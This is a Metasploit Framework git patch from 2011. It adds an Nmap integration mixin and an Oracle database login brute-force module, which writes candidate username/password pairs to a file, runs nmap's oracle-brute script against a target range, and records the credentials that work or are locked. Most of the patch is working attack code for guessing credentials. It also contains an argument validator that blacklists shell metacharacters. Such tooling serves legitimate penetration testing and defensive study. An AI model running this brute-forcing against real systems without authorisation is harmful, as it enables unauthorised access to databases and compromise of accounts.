From b68396351ac36784ed056354d13bd02a82e3dd6e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Sun, 13 Mar 2011 22:52:50 +0000 Subject: [PATCH] See #3941. This is a first attempt at supporting driving nmap via a metasploit module. It's a somewhat hefty checkin that includes the Nmap auxiliary mixin as well as an oracle login bruteforce module that uses it. This definitely needs to be tested on Win32 before it can be called f i x e d, due to the differences between the nmap binaries and the way files are created and used. Also, the oracle_login scanner could use another once-over for error handling -- don't rely on that yet. Once this all works the way I expect, I'll document the procedure more thoroghly so people can take advantage. git-svn-id: file:///home/svn/framework3/trunk@11948 4d416f70-5f16-0410-b530-b9f4589650da --- lib/msf/core/auxiliary/auth_brute.rb | 17 +- lib/msf/core/auxiliary/mixins.rb | 1 + lib/msf/core/auxiliary/nmap.rb | 236 ++++++++++++++++++ lib/rex/parser/nmap_xml.rb | 5 +- .../auxiliary/scanner/oracle/oracle_login.rb | 156 ++++++++++++ 5 files changed, 410 insertions(+), 5 deletions(-) create mode 100644 lib/msf/core/auxiliary/nmap.rb create mode 100644 modules/auxiliary/scanner/oracle/oracle_login.rb diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index 29510e432a..6842bd9f7f 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -19,8 +19,8 @@ def initialize(info = {}) OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]), OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]), OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]), - OptBool.new('BLANK_PASSWORDS', [ true, "Try blank passwords for all users", true]), - OptBool.new('USER_AS_PASS', [ true, "Try the username as the password for all users", true]), + OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]), + OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]), OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", false]), ], Auxiliary::AuthBrute) @@ -40,7 +40,11 @@ end # to :next_user (which will cause that username to be skipped for subsequent # password guesses). Other return values won't affect the processing of the # list. -def each_user_pass(&block) +# +# The 'noconn' argument should be set to true if each_user_pass is merely +# iterating over the usernames and passwords and should not respect +# bruteforce_speed as a delaying factor. +def each_user_pass(noconn=false,&block) # Class variables to track credential use (for threading) @@credentials_tried = {} @@credentials_skipped = {} @@ -77,7 +81,12 @@ def each_user_pass(&block) fq_user = "%s:%s:%s" % [datastore['RHOST'], datastore['RPORT'], u] - userpass_sleep_interval unless @@credentials_tried.empty? + # Set noconn to indicate that in this case, each_user_pass + # is not actually kicking off a connection, so the + # bruteforce_speed datastore should be ignored. + if not noconn + userpass_sleep_interval unless @@credentials_tried.empty? + end next if @@credentials_skipped[fq_user] next if @@credentials_tried[fq_user] == p diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 2af38ed035..b1bdd02e01 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -18,3 +18,4 @@ require 'msf/core/auxiliary/commandshell' require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' +require 'msf/core/auxiliary/nmap' diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb new file mode 100644 index 0000000000..43078a131d --- /dev/null +++ b/lib/msf/core/auxiliary/nmap.rb @@ -0,0 +1,236 @@ + +module Msf + +### +# +# This module provides methods for interacting with nmap. +# +### + +module Auxiliary::Nmap + +attr_accessor :nmap_args, :nmap_bin, :nmap_log + +def initialize(info = {}) + super + + register_options([ + OptAddressRange.new('RHOSTS', [ true, "The target address range or CIDR identifier"]), + OptBool.new('NMAP_VERBOSE', [ false, 'Display nmap output', true]), + OptString.new('RPORTS', [ false, 'Ports to target']), # RPORT supersedes RPORTS + ], Auxiliary::Nmap) + + deregister_options("RPORT") + @nmap_args = [] + @nmap_bin = nmap_binary_path +end + +def vprint_status(msg='') + return if not datastore['VERBOSE'] + print_status(msg) +end + +def vprint_error(msg='') + return if not datastore['VERBOSE'] + print_error(msg) +end + +def vprint_good(msg='') + return if not datastore['VERBOSE'] + print_good(msg) +end + +def rports + datastore['RPORTS'] +end + +def rport + datastore['RPORT'] +end + +def set_nmap_cmd + nmap_set_log + nmap_add_ports + nmap_cmd = [self.nmap_bin] + self.nmap_args.unshift("-oX #{self.nmap_log[1]}") + nmap_cmd << self.nmap_args.join(" ") + nmap_cmd << datastore['RHOSTS'] + nmap_cmd.join(" ") +end + +def nmap_build_args + raise RuntimeError, "nmap_build_args() not defined by #{self.refname}" +end + +def nmap_run + nmap_cmd = set_nmap_cmd + begin + nmap_pipe = ::Open3::popen3(nmap_cmd) + temp_nmap_threads = [] + temp_nmap_threads << framework.threads.spawn("Module(#{self.refname})-NmapStdout", false, nmap_pipe[1]) do |np_1| + np_1.each_line do |nmap_out| + next if nmap_out.strip.empty? + print_status "Nmap: #{nmap_out.strip}" if datastore['NMAP_VERBOSE'] + end + end + + temp_nmap_threads << framework.threads.spawn("Module(#{self.refname})-NmapStderr", false, nmap_pipe[2]) do |np_2| + np_2.each_line do |nmap_err| + next if nmap_err.strip.empty? + print_status "Nmap: '#{nmap_err.strip}'" + end + end + + temp_nmap_threads.map {|t| t.join rescue nil} + nmap_pipe.each {|p| p.close rescue nil} + if self.nmap_log[0].size.zero? + print_error "Nmap Warning: Output file is empty, no useful results can be processed." + end + rescue ::IOError + end +end + +def nmap_binary_path + ret = Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe") + if ret + return ::File.expand_path(ret) + else + raise RuntimeError, "Cannot locate the nmap binary" + end +end + +# Returns the [filehandle, pathname], and sets the same +# to self.nmap_log. +# Only supports XML format since that's the most useful. +def nmap_set_log + outfile = Rex::Quickfile.new("msf3-nmap-") + if Rex::Compat.is_cygwin and nmap_binary_path =~ /cygdrive/i + outfile_path = Rex::Compat.cygwin_to_win32(nmap_outfile.path) + else + outfile_path = outfile.path + end + self.nmap_log = [outfile,outfile_path] +end + +def nmap_show_args + print_status self.nmap_args.join(" ") +end + +def nmap_append_arg(str) + if validate_nmap(str) + self.nmap_args << str + end +end + +def nmap_reset_args + self.nmap_args = [] +end + +# A helper to add in rport or rports as a -p argument +def nmap_add_ports + if not nmap_validate_rports + raise RuntimeError, "Cannot continue without a valid port list." + end + port_arg = "-p \"#{datastore['RPORT'] || rports}\"" + if nmap_validate_arg(port_arg) + self.nmap_args << port_arg + else + raise RunTimeError, "Argument is invalid" + end +end + +# Validates the correctness of ports passed to nmap's -p +# option. Note that this will not validate named ports (like +# 'http'), nor will it validate when brackets are specified. +# The acceptable formats for this is: +# +# 80 +# 80-90 +# 22,23 +# U:53,T:80 +# and combinations thereof. +def nmap_validate_rports + # If there's an RPORT specified, use that instead. + if datastore['RPORT'] && !datastore['RPORT'].empty? + return true + end + bad_port = false + if rports.nil? || rports.empty? + print_error "Missing RPORTS" + return false + end + rports.split(/\s*,\s*/).each do |r| + if r =~ /^([TU]:)?[0-9]*-?[0-9]*$/ + next + else + bad_port = true + break + end + end + if bad_port + print_error "Malformed nmap port: #{r}" + return false + end + print_status "Using RPORTS range #{datastore['RPORTS']}" + return true +end + +# Validates an argument to be passed on the command +# line to nmap. Most special characters aren't allowed, +# and commas in arguments are only allowed inside a +# quoted argument. +def nmap_validate_arg(str) + # Check for existence + if str.nil? || str.empty? + print_error "Missing nmap argument" + return false + end + # Check for quote balance + if !(str.scan(/'/).size % 2).zero? or !(str.scan(/"/).size % 2).zero? + print_error "Unbalanced quotes in nmap argument: #{str}" + return false + end + # Check for characters that enable badness + disallowed_characters = /([\x00-\x19\x21\x23-\x26\x28\x29\x3b\x3e\x60\x7b\x7c\x7d\x7e-\xff])/n + badchar = str[disallowed_characters] + if badchar + print_error "Malformed nmap arguments (contains '#{c}'): #{str}" + return false + end + # Check for commas outside of quoted arguments + quoted_22 = /\x22[^\x22]*\x22/ + requoted_str = str.gsub(/'/,"\"") + if requoted_str.split(quoted_22).join[/,/] + print_error "Malformed nmap arguments (unquoted comma): #{str}" + return false + end + return true +end + +# Takes a block, and yields back the host object as discovered +# by the Rex::Parser::NmapXMLStreamParser. It's up to the +# module to ferret out whatever's interesting in this host +# object. +def nmap_hosts(&block) + print_status "Nmap: processing hosts from #{self.nmap_log[1]}..." + fh = self.nmap_log[0] + nmap_data = fh.read(fh.stat.size) + # fh.unlink + nmap_parser = Rex::Parser::NmapXMLStreamParser.new + nmap_parser.on_found_host = Proc.new { |h| + if (h["addrs"].has_key?("ipv4")) + addr = h["addrs"]["ipv4"] + elsif (h["addrs"].has_key?("ipv6")) + addr = h["addrs"]["ipv6"] + else + # Can't do much with it if it doesn't have an IP + next + end + yield h + } + REXML::Document.parse_stream(nmap_data, nmap_parser) +end + +end +end + diff --git a/lib/rex/parser/nmap_xml.rb b/lib/rex/parser/nmap_xml.rb index e8324ec951..74cb6439bd 100644 --- a/lib/rex/parser/nmap_xml.rb +++ b/lib/rex/parser/nmap_xml.rb @@ -84,9 +84,12 @@ class NmapXMLStreamParser # refers to the state of a port; values are "open", "closed", or "filtered" @host["ports"].last["state"] = attributes["state"] when "service" - # Store any service info with the associated port. There shouldn't + # Store any service and script info with the associated port. There shouldn't # be any collisions on attribute names here, so just merge them. @host["ports"].last.merge!(attributes) + when "script" + @host["ports"].last["scripts"] ||= {} + @host["ports"].last["scripts"][attributes["id"]] = attributes["output"] when "trace" @host["trace"] = {"port" => attributes["port"], "proto" => attributes["proto"], "hops" => [] } when "hop" diff --git a/modules/auxiliary/scanner/oracle/oracle_login.rb b/modules/auxiliary/scanner/oracle/oracle_login.rb new file mode 100644 index 0000000000..17a885b117 --- /dev/null +++ b/modules/auxiliary/scanner/oracle/oracle_login.rb @@ -0,0 +1,156 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex/parser/nmap_xml' +require 'open3' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Nmap + include Msf::Auxiliary::AuthBrute + + # Creates an instance of this module. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle RDBMS Login Utility', + 'Description' => %q{ + This module attempts to authenticate against an Oracle RDBMS + instance using username and password combinations indicated + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + }, + 'Author' => [ 'todb' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.oracle.com/us/products/database/index.html' ], + [ 'CVE', '1999-0502'] # Weak password + ], + 'Version' => '$Revision$' + )) + + register_options( + [ + OptString.new('SID', [ true, 'The instance (SID) to authenticate against', 'XE']) + ], self.class) + + deregister_options("USERPASS_FILE") + + end + + def run + print_status "Nmap: Setting up credential file..." + credfile = create_credfile + each_user_pass(true) {|user, pass| credfile[0].puts "%s/%s" % [user,pass] } + credfile[0].flush + nmap_build_args(credfile[1]) + print_status "Nmap: Starting Oracle bruteforce..." + nmap_run + credfile[0].unlink + nmap_hosts {|host| process_host(host)} + end + + def sid + datastore['SID'].to_s + end + + def nmap_build_args(credpath) + nmap_reset_args + self.nmap_args << "-P0" + self.nmap_args << "--script oracle-brute" + script_args = [ + "tns.sid=#{sid}", + "brute.mode=creds", + "brute.credfile=#{credpath}", + "brute.threads=1" + ] + script_args << "brute.delay=#{set_brute_delay}" + self.nmap_args << "--script-args \"#{script_args.join(",")}\"" + self.nmap_args << "-n" + self.nmap_args << "-v" if datastore['VERBOSE'] + end + + # Sometimes with weak little 10g XE databases, you will exhaust + # available processes from the pool with lots and lots of + # auth attempts, so use bruteforce_speed to slow things down + def set_brute_delay + case datastore["BRUTEFORCE_SPEED"] + when 4; 0.25 + when 3; 0.5 + when 2; 1 + when 1; 15 + when 0; 60 * 5 + else; 0 + end + end + + def create_credfile + outfile = Rex::Quickfile.new("msf3-ora-creds-") + if Rex::Compat.is_cygwin and nmap_binary_path =~ /cygdrive/i + outfile_path = Rex::Compat.cygwin_to_win32(nmap_outfile.path) + else + outfile_path = outfile.path + end + @credfile = [outfile,outfile_path] + end + + def process_host(h) + h["ports"].each do |p| + next if(p["scripts"].nil? || p["scripts"].empty?) + p["scripts"].each do |id,output| + next unless id == "oracle-brute" + parse_script_output(h["addr"],p["portid"],output) + end + end + end + + def extract_creds(str) + m = str.match(/\s+([^\s]+):([^\s]+) =>/) + m[1,2] + end + + def parse_script_output(addr,port,output) + msg = "#{addr}:#{port} - Oracle -" + if output =~ /TNS: The listener could not resolve \x22/n + print_error "#{msg} Invalid SID: #{sid}" + elsif output =~ /Accounts[\s]+No valid accounts found/nm + print_status "#{msg} No valid accounts found" + else + output.each_line do |oline| + report_service(:host => addr, :port => port, + :proto => "tcp", :name => "oracle") + report_note(:host => addr, :port => port, :proto => "tcp", + :type => "oracle.sid", :data => sid, :update => :unique_data) + if oline =~ /Login correct/ + user,pass = extract_creds(oline) + pass = "" if pass == "" + print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})" + report_auth_info( + :host => addr, :port => port, :proto => "tcp", + :user => "#{sid}/#{user}", :pass => pass, :active => true + ) + elsif oline =~ /Account locked/ + user = extract_creds(oline)[0] + print_status "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked" + report_auth_info( + :host => addr, :port => port, :proto => "tcp", + :user => "#{sid}/#{user}", :active => false + ) + elsif oline =~ /^\s+ERROR: (.*)/ + print_error "#{msg} NSE script error: #{$1}" + end + end + end + end + +end +